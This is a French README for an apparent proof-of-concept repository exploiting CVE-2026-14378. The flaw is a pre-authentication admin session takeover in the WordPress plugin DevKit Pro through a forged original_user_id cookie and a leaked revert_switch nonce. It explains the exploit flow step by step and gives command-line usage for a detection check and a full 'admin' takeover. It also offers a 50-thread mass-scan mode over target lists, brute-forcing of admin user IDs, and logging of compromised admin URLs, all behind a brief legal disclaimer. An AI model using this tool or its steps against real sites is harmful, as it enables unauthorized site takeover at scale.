
Scanner PoC Python et exploit pour CVE-2026-14378, une prise de contrôle de session administrateur avant authentification dans le plugin WordPress DevKit Pro via un cookie original_user_id falsifié.
Scanner de preuve de concept et assistant d'exploitation pour CVE-2026-14378 : prise de contrôle de session administrateur non authentifiée dans le plugin WordPress DevKit Pro (dplugins) via un flux « revert » de changement d'utilisateur défectueux.
Légal : À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Tout accès non autorisé est illégal. Ce dépôt est destiné à la recherche défensive, à la vérification et à la validation de correctifs.
PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.
Sujets suggérés : cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research
| CVE | CVE-2026-14378 |
| Produit | DevKit Pro (éditeur : dplugins) |
| Type | Contournement d'authentification → session administrateur complète (CWE-287) |
| Affecté | Toutes les versions ≤ 2.3.0 |
| Corrigé | 3.0.0+ (changelog) |
| CVSS 3.1 | 9.8 Critique — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| CVE | Problème | Auth |
|---|---|---|
| CVE-2026-14357 | Installation arbitraire de thème ZIP via DPDEV_install_themes | Abonné+ |
| CVE-2026-14378 | Prise de contrôle de session via revert de changement d'utilisateur | Aucune |
Ce PoC cible uniquement 14378.
Le Users Manager de DevKit Pro peut usurper l'identité d'utilisateurs pour les tests. Lorsqu'un administrateur bascule vers un autre compte, le plugin stocke l'identité précédente dans un cookie client :
original_user_id — ID utilisateur du compte avant le basculementLorsque ce cookie est présent, le plugin affiche un contrôle « switch back » dans wp_footer sur le front end, incluant un nonce WordPress lié à l'action de revert.
Le gestionnaire revert_switch (AJAX) appelle verify_nonce_and_capability(), qui évalue incorrectement manage_options par rapport à l'utilisateur référencé par original_user_id, au lieu d'utiliser current_user_can() sur le demandeur réel (qui peut être totalement non authentifié).
Un attaquant peut :
Cookie: original_user_id=<administrator_user_id> (généralement 1).POST vers wp-admin/admin-ajax.php avec action=revert_switch (ou un alias spécifique au plugin) et le nonce divulgué.wp_set_auth_cookie() pour l'ID utilisateur falsifié → session administrateur authentifiée.Contexte officiel de la fonctionnalité : Users Manager — switch back.
sequenceDiagram
participant A as Attacker
participant W as WordPress (front end)
participant P as DevKit Pro
participant X as admin-ajax.php
A->>W: GET / (Cookie: original_user_id=1)
W->>P: wp_footer hook
P-->>W: switch-back HTML + nonce
W-->>A: page body contains nonce
A->>X: POST action=revert_switch + nonce
Note over P,X: capability checked for user 1, not attacker
X-->>A: Set-Cookie wordpress_logged_in_*
A->>W: GET /wp-admin/
W-->>A: admin dashboard
La commande check est volontairement stricte : elle ne signale vulnérable que si un nonce de switch-back apparaît après falsification de original_user_id.
| Observation | Signification probable |
|---|---|
VULNERABLE — switch-back material leaked | Le chemin d'exploitation fonctionne probablement ; confirmer en laboratoire avant admin. |
not vulnerable (check): no switch-back nonce… | DevKit corrigé (≥ 3.0.0), plugin non installé, Users Manager désactivé (désactivé par défaut), chemin de plugin personnalisé, cache/CDN supprimant le footer, ou mauvais site. |
DevKit Pro readme not confirmed | Aucune empreinte publique readme.txt ; le plugin peut toujours être présent mais masqué — l'oracle reste le test décisif. |
DevKit Pro <= 2.3.0 suspected + toujours aucun nonce | Une version vulnérable peut être installée mais la fonctionnalité de switch n'est pas activée ou le footer n'est pas rendu sur les URLs testées. |
Remarque : Un HTTP 200 sur /wp-content/plugins/.../readme.txt qui renvoie une page HTML complète est un soft 404 WordPress courant. Ce PoC valide le contenu du readme (en-tête Plugin Name:), pas seulement le code de statut.
pip install requests
Optionnel : requirements.txt contient un minimum épinglé :
requests>=2.28.0
git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt # or: pip install requests
Ne complète pas la prise de contrôle ; teste uniquement l'oracle du nonce du footer.
python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40
Tente un revert_switch complet et vérifie l'accès à /wp-admin/.
python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
| Option | Description |
|---|---|
--user-id | ID utilisateur administrateur (ou cible) falsifié dans original_user_id (par défaut : 1) |
--brute | Essayer les IDs 1..N lorsque le premier ID échoue |
--timeout | Délai d'expiration HTTP en secondes (par défaut : 25) |
--log | Ajouter les URLs admin réussies à un fichier (par défaut : logs.txt) |
Une URL par ligne ; les commentaires # et les colonnes supplémentaires après un espace sont ignorés.
# Detection only (recommended first pass)
python poc.py targets.txt
# Exploit attempts (authorized targets only)
python poc.py targets.txt admin
Si aucun fichier n'est passé en premier argument, le script demande un chemin de liste (même comportement que les scanners de masse hérités).
Le mode masse utilise un pool de threads (50 workers). Ajustez dans poc.py si vous atteignez des limites de débit.
# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3 # only first token is used
Vulnérable (check) :
[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)
Non vulnérable (scan de masse typique) :
[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target
Admin réussi :